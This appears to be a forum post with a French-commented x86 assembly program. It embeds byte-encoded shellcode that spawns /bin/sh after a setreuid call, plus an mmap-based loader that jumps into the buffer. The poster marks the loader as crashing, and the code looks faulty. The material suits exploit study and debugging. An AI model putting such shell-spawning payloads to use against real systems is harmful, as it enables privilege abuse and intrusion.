1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| section .data
SHELLCODE db 0xeb,0x22,0x66,0x5b,0x66,0x31,0xc0,0x67,0x66,0x89,0x43,0x07,0x67,0x66,0x89,0x5b,0x08,0x67,0x66,0x89,0x43,0x0c,0x67,0x66,0x8d,0x4b,0x08,0x67,0x66,0x8d,0x53,0x0c,0xb0,0x0b,0xcd,0x80,0xb0,0x46,0x66,0x31,0xdb,0x66,0x31,0xc9,0xcd,0x80,0xe8,0xd1,0xff,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
section .text
global _start
_start:
;void * mmap(void *start, size_t length, int prot , int flags, int fd, off_t offset);
;mmap (&shellcode,56,PROT_READ | PROT_WRITE | PROT_EXEC,MAP_ANONYMOUS,-1,0)
;On mappe le fichier en mémoire
xor eax, eax
xor ebx, ebx
xor ecx, ecx
push eax ;On empile des octets nuls avant SHELLCODE
push SHELLCODE
mov esi, esp ;Sauvegarde du pointeur ESP dans esi
push dword eax ;On empile des octets nuls
push dword 0xff ;-1
push dword 0x20 ;MAP_ANONYMOUS
push dword 0x07 ;PROT_WRITE | PROT_EXEC | PROT_READ
push dword 0x38 ;On empile le nombre d'octets à mapper
push dword esi ;On empile l'adresse mémoire esi
mov ebx, esp ;On place le pointeur vers le premier argument dans ebx
mov al, 0x5a ;Appel mmap n°90
int 0x80
xchg edi, eax
xor eax, eax
jmp edi ;On saute au début du buffer alloué. [SEGFAULT] |
Partager